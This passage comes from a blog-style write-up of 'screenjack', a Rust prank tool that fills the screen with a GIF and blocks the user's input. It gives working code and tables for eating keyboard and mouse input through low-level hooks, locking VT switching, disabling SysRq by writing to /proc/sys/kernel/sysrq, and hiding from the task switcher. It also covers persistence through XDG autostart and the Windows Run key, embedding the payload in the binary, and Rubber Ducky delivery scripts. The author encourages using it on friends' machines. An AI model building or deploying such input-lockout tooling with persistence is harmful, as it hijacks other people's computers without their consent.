| Alt+Tab / Window switching     | `override_redirect` window + keyboard grab eats all keys  | No             |
| Ctrl+Alt+Fn (VT switch)        | `ioctl(VT_LOCKSWITCH)` on `/dev/console`                  | **Yes**        |
| Console keyboard               | `ioctl(KDSKBMODE, K_OFF)` disables console input entirely | **Yes**        |
| Magic SysRq (Alt+SysRq+letter) | Write `0` to `/proc/sys/kernel/sysrq`                     | **Yes**        |
| Cursor visibility              | Create empty 1x1 pixmap cursor                            | No             |

The root-requiring blocks fail gracefully if we don't have permissions because the code just tries and moves on. Without root, **`Ctrl+Alt+F2`** still works and the user can escape to another TTY.

#### Windows Input Vectors

| Vector                                 | How it's blocked                                         |
| -------------------------------------- | -------------------------------------------------------- |
| All keyboard input                     | `WH_KEYBOARD_LL` hook, return `LRESULT(1)` to eat events |
| All mouse input                        | `WH_MOUSE_LL` hook, return `LRESULT(1)` to eat events    |
| **`Alt+Tab`**                          | Keyboard hook eats the keypress before shell sees it     |
| **`Win`** key / Start menu             | Keyboard hook eats `VK_LWIN` / `VK_RWIN`                 |
| **`Alt+F4`**                           | Keyboard hook eats the combo                             |
| **`Alt+Escape`**                       | Keyboard hook eats it                                    |
| **`Ctrl+Escape`** (Start)              | Keyboard hook eats it                                    |
| **`Ctrl+Shift+Escape`** (Task Manager) | Keyboard hook eats it                                    |
| Window appearing in Alt+Tab            | `WS_EX_TOOLWINDOW` style hides from task switcher        |
| Cursor visibility                      | `ShowCursor(false)` + `ClipCursor` to window bounds      |

#### What We CAN'T Block

**Linux:**

* Physical power button (handled by ACPI/systemd, not X11)
* If running without root: VT switching, SysRq
* Wayland compositors intentionally prevent this kind of takeover (security feature)

**Windows:**

* **Ctrl+Alt+Delete** goes directly to Windows' Secure Attention Sequence (SAS), handled by `winlogon.exe` on a separate secure desktop. This is by design since even kernel drivers can't intercept it. It's THE escape hatch so malware can't fake the login screen. User can hit it and get to Task Manager, but killing us just means they win. Fair game.

#### The Exit Combo

Both platforms monitor for `Ctrl+Shift+Escape` held for 2 seconds. We track modifier state with atomics (thread-safe since hooks can fire from any thread on Windows) and timestamp when all three keys are first held together:

```rust
// Atomic state for thread-safe access from hook callbacks
static CTRL_HELD: AtomicBool = AtomicBool::new(false);
static SHIFT_HELD: AtomicBool = AtomicBool::new(false);
static ESCAPE_HELD: AtomicBool = AtomicBool::new(false);
static COMBO_START_MS: AtomicU64 = AtomicU64::new(0);
static SHOULD_EXIT: AtomicBool = AtomicBool::new(false);

fn check_exit_combo() {
    let all_held = CTRL_HELD.load(Ordering::Relaxed)
        && SHIFT_HELD.load(Ordering::Relaxed)
        && ESCAPE_HELD.load(Ordering::Relaxed);

    if all_held {
        let now = /* current time in ms */;
        let start = COMBO_START_MS.load(Ordering::Relaxed);
        
        if start == 0 {
            // first frame of combo - start the timer
            COMBO_START_MS.store(now, Ordering::Relaxed);
        } else if now - start >= 2000 {
            // held for 2 seconds - exit
            SHOULD_EXIT.store(true, Ordering::Relaxed);
        }
    } else {
        // combo broken - reset timer
        COMBO_START_MS.store(0, Ordering::Relaxed);
    }
}
```

The 2-second hold requirement prevents accidental exits. User has to know the combo AND hold it deliberately. During a prank, good luck figuring that out while staring at a fullscreen Nyan Cat.

### Rendering and GIF Animation

Both platforms need to actually display something. For static images it's straightforward, load with the `image` crate, scale to screen size, blit to window.

GIFs are trickier because frames have disposal methods. Some frames replace the previous entirely, some are transparent and blend on top, some restore to background color. Most naive implementations get this wrong and you get weird artifacts. The `gif-dispose` crate handles compositing properly by maintaining a "screen" buffer.

```rust
fn load_gif_frames(path: &str) -> Option<Vec<AnimFrame>> {
    let file = File::open(path).ok()?;
    let mut decoder = gif::DecodeOptions::new();
    // we want RGBA output for easy manipulation
    decoder.set_color_output(gif::ColorOutput::RGBA);
    let mut decoder = decoder.read_info(BufReader::new(file)).ok()?;

    // Screen maintains a canvas with proper compositing
    // it handles DISPOSE_NONE, DISPOSE_BACKGROUND, DISPOSE_PREVIOUS
    let mut screen = gif_dispose::Screen::new_decoder(&decoder);
    let mut frames = Vec::new();

    while let Some(frame) = decoder.read_next_frame().ok()? {
        // blit_frame applies this frame with correct disposal method
        // the internal canvas now has the composited result
        screen.blit_frame(frame).ok()?;

        // read pixels from the canvas
        let pixels: Vec<_> = screen.pixels_rgba().into_iter().collect();
        
        // convert rgb::RGBA8 to raw bytes
        let mut rgba = Vec::with_capacity(pixels.len() * 4);
        for p in pixels {
            rgba.push(p.r);
            rgba.push(p.g);
            rgba.push(p.b);
            rgba.push(p.a);
        }

        // GIF delays are in centiseconds, convert to ms
        // 0 delay means "as fast as possible", we default to 100ms
        let delay_ms = (frame.delay as u64) * 10;
        let delay_ms = if delay_ms == 0 { 100 } else { delay_ms };

        frames.push(AnimFrame {
            rgba,
            width: screen.pixels_rgba().width() as u32,
            height: screen.pixels_rgba().height() as u32,
            delay_ms,
        });
    }

    if frames.is_empty() { None } else { Some(frames) }
}
```

For playback, we cycle through frames respecting their delays. On Windows we use `SetTimer` to get `WM_TIMER` messages at regular intervals. On Linux we track elapsed time in our event loop and switch frames when the delay has passed. Each frame gets scaled to screen dimensions and blitted. On Linux that's `put_image` with BGRA pixel order, on Windows it's `CreateDIBSection` + `StretchBlt`.

### Persistence

For persistence across reboots, `--persist` flag copies the binary somewhere safe and registers it to run on login. Linux uses XDG autostart (a `.desktop` file in `~/.config/autostart/`), Windows uses the registry Run key.

```rust
// Linux: create autostart entry
let home = env::var("HOME")?;
let bin_dir = PathBuf::from(&home).join(".local/bin");
fs::create_dir_all(&bin_dir)?;
let dest = bin_dir.join("screenjack");
fs::copy(&self_path, &dest)?;

// make executable
#[cfg(unix)]
fs::set_permissions(&dest, fs::Permissions::from_mode(0o755))?;

// create .desktop file
let autostart_dir = PathBuf::from(&home).join(".config/autostart");
fs::create_dir_all(&autostart_dir)?;
let desktop = format!(
    "[Desktop Entry]\n\
     Type=Application\n\
     Name=Screenjack\n\
     Exec={}\n\
     Hidden=false\n\
     X-GNOME-Autostart-enabled=true\n",
    dest.display()
);
fs::write(autostart_dir.join("screenjack.desktop"), desktop)?;
```

```rust
// Windows: copy to APPDATA and add to Run key
let appdata = env::var("APPDATA")?;
let app_dir = PathBuf::from(&appdata).join("screenjack");
fs::create_dir_all(&app_dir)?;
let dest = app_dir.join("screenjack.exe");
fs::copy(&self_path, &dest)?;

// add to HKCU\Software\Microsoft\Windows\CurrentVersion\Run
// this runs the exe on login, no admin needed
unsafe {
    let mut key: HKEY = HKEY::default();
    let subkey: Vec<u16> = "Software\\Microsoft\\Windows\\CurrentVersion\\Run\0"
        .encode_utf16().collect();

    if RegOpenKeyExW(HKEY_CURRENT_USER, PCWSTR(subkey.as_ptr()), 
                     0, KEY_SET_VALUE, &mut key).is_ok() 
    {
        let name: Vec<u16> = "Screenjack\0".encode_utf16().collect();
        let value: Vec<u16> = format!("\"{}\"\0", dest.display())
            .encode_utf16().collect();
        RegSetValueExW(key, PCWSTR(name.as_ptr()), 0, REG_SZ,
            Some(&value.iter().flat_map(|&c| c.to_le_bytes()).collect::<Vec<_>>()));
        RegCloseKey(key);
    }
}
```

Both methods run as current user, no admin needed. `--unpersist` deletes the binary and removes the autostart entry/registry key.

You can also compile the asset INTO the binary at build time using `include_bytes!`:

```rust
// if SCREENJACK_ASSET env var is set during build, embed it
#[cfg(feature = "embedded")]
const EMBEDDED_ASSET: &[u8] = include_bytes!(env!("SCREENJACK_ASSET"));
#[cfg(not(feature = "embedded"))]
const EMBEDDED_ASSET: &[u8] = &[];
```

Set `SCREENJACK_ASSET=/path/to/rickroll.gif` when building and the payload is totally self-contained, no need to drop files on target.

### Building and the TUI

There's a Go TUI in `orchestra/` that handles building payloads, generating Rubber Ducky scripts for delivery, previewing assets in ASCII. Uses bubbletea for the UI.

```
┌─ Assets ─────────────────────┐┌─ Build Options ───────────────┐
│ > rickroll.gif               ││ [x] Linux                     │
│   nyancat.gif                ││ [x] Windows                   │
│   skull.png                  ││ [ ] Embed asset               │
└──────────────────────────────┘└───────────────────────────────┘
[b] Build  [g] Gen Ducky  [p] Preview  [q] Quit
```

Or just use `just` directly:

```bash
just payload::setup           # first time setup (rust targets, etc)
just build-all                # both targets -> dist/
just build-linux              # just linux
just build-windows            # just windows

# docker builds if you don't wanna set up cross-compilers
just -f payload.just docker-alpine   # static musl binary
just -f payload.just docker-debian   # glibc binary
```

Full source at [screenjack](https://github.com/ARaChn3/screenjack). Still want to figure out Wayland support (compositors intentionally don't allow this kind of takeover, which is kinda the point), macOS (Core Graphics + IOKit should work), and maybe per-monitor windows on Windows for independent assets. PRs welcome.

PS: gg have fun and if you rickroll your friend's gaming PC or smth, send me the vid lol
